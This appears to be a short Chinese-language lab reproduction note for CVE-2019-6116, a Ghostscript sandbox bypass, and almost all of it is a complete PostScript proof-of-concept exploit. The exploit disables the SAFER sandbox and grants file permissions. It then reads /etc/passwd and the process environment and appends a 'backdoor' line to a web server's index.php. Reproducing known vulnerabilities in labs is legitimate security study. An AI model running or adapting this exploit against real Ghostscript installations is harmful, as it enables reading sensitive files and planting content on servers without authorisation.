CVE-2019-6116 GhostScript 沙箱绕过(命令执行)漏洞复现

refer:

https://github.com/vulhub/vulhub/tree/master/ghostscript/CVE-2019-6116

过程:

PoC:

%!PS
% extract .actual_pdfpaintproc operator from pdfdict
/.actual_pdfpaintproc pdfdict /.actual_pdfpaintproc get def

/exploit {
(Stage 11: Exploitation...) ==

/forceput exch def

systemdict /SAFER false forceput
systemdict /userparams get /PermitFileControl [(*)] forceput
systemdict /userparams get /PermitFileWriting [(*)] forceput
systemdict /userparams get /PermitFileReading [(*)] forceput

% All done.
stop
} def

% setup an error handler to catch ifelse /stackoverflow
errordict /stackoverflow {
(Stage 10: /stackoverflow) ==
pop
% extract saved operand stack
0 get
% get the last parameter
dup dup length 1 sub get
( Last Parameter:) ==only dup ==
( Extracting .forceput...) ==
% This is the else operator to ifelse
5 get
% extract the .forceput
7 get
( Result:) ==only dup ==
exploit
} put

% The pseudo-operator .actual_pdfpaintproc from pdf_draw.ps pushes some
% executable errays onto the operand stack that contain .forceput, but are not
% marked as executeonly or pseudo-operators.
%
% The routine was attempting to pass them to ifelse, but we can cause that to
% fail because when the routine was declared, it used `bind` but many of the
% names it uses are not operators and so are just looked up in the dictstack.
%
% This means we can push a dict onto the dictstack and control how the routine
% works.
<<
/PDFfile { (Stage 0: PDFfile) == currentfile }
/q { (Stage 1: q) == } % no-op
/oget { (Stage 3: oget) == pop pop 0 } % clear stack
/pdfemptycount { (Stage 4: pdfemptycount) == } % no-op
/gput { (Stage 5: gput) == } % no-op
/resolvestream { (Stage 6: resolvestream) == } % no-op
/pdfopdict { (Stage 7: pdfopdict) == } % no-op
/.pdfruncontext { (Stage 8: .pdfruncontext) == 0 1 mark } % satisfy counttomark and index
/pdfdict { (Stage 9: pdfdict) ==
% fill the stack with junk to trigger a /stackoverflow
0 1 300051 {} for
% make sure .knownget doesnt screw up the stack
<< /.Qqwarning_issued true >>
}
>> begin <<>> <<>> { .actual_pdfpaintproc } stopped pop

( Should now have complete control over ghostscript, attempting to read /etc/passwd...) ==

% Demonstrate reading a file we shouldnt have access to.
(/etc/passwd) (r) file dup 64 string readline pop == closefile

% The getenv operator gets removed and we can't get it back, here is a
% replacement.
% (HOME) newgetenv (/path/to/home) true % found
% (foobar) newgetenv false % notfound
/newgetenv {
% read entire environment into string
(/proc/self/environ) (r) file dup 32768 string readstring pop exch closefile

% search for variable
exch dup (\0) exch concatstrings (=) concatstrings exch 3 1 roll search not {
% not found, could be at the start, so no leading nul?
1 index (=) concatstrings anchorsearch not {
(notfound)
} { pop } ifelse
} { pop pop } ifelse

% remove everything after path, there is always a nul on Linux.
(\0) search { 4 1 roll pop pop pop true } {
% must be the notfound string
pop pop pop false
} ifelse
} def

% Here is how to edit .bashrc...
/backdoorbash {
% now we can append to bashrc
(HOME) newgetenv pop (/var/www/html/index.php) concatstrings (a) file dup

% backdoor
(echo pwned by postscript\n) writestring

% all done
closefile
} def

backdoorbash

(All Done) ==
quit